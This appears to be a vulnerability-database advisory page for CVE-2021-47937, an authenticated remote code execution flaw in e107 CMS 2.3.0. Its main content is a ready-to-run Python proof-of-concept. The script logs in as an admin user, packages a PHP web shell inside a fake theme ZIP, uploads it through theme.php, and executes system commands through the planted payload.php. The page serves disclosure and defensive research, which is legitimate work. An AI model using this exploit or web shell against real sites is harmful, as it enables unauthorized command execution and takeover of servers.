CVE-2021-47937

Description

e107 CMS 2.3.0 contains a remote code execution vulnerability that allows authenticated users with theme installation permissions to execute arbitrary commands by uploading malicious theme files. Attackers can upload a crafted theme package through the theme.php endpoint that deploys a web shell to the e107_themes directory, then execute system commands via the payload.php script.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

e107 CMS 2.3.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import zipfile
import io

# Target configuration
target_url = "http://target/e107/e107_admin/theme.php"
login_url = "http://target/e107/e107_admin/admin.php"
cmd_url = "http://target/e107/e107_themes/malicious_theme/payload.php"

session = requests.Session()

# Step 1: Login as a user with theme installation permissions
login_data = {
    "username": "attacker",
    "userpass": "password",
    "authsubmit": "Login"
}
session.post(login_url, data=login_data)

# Step 2: Create a malicious theme ZIP package
zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zip_file:
    # Add a dummy theme.xml to pass basic validation
    zip_file.writestr("theme.xml", "<theme><name>exploit</name></theme>")
    # Add the webshell payload
    zip_file.writestr("payload.php", "<?php system($_GET['cmd']); ?>")
zip_buffer.seek(0)

# Step 3: Upload the malicious theme
files = {
    "userfile[theme]": ("exploit_theme.zip", zip_buffer, "application/zip")
}
upload_data = {
    "upload": "Upload"
}
response = session.post(target_url, files=files, data=upload_data)

# Step 4: Execute command
if response.status_code == 200:
    cmd_response = session.get(f"{cmd_url}?cmd=whoami")
    print("Command output:", cmd_response.text)
else:
    print("Upload failed")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2021-47937
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2021-47937
[3] CVE Details https://www.cvedetails.com/cve/CVE-2021-47937/
[4] VulDB https://vuldb.com/cve/CVE-2021-47937
[5] https://e107.org/
[6] https://e107.org/download
[7] https://www.exploit-db.com/exploits/50315
[8] https://www.vulncheck.com/advisories/e107-cms-authenticated-remote-code-execution-via-theme-upload

Raw JSON Data

JSON

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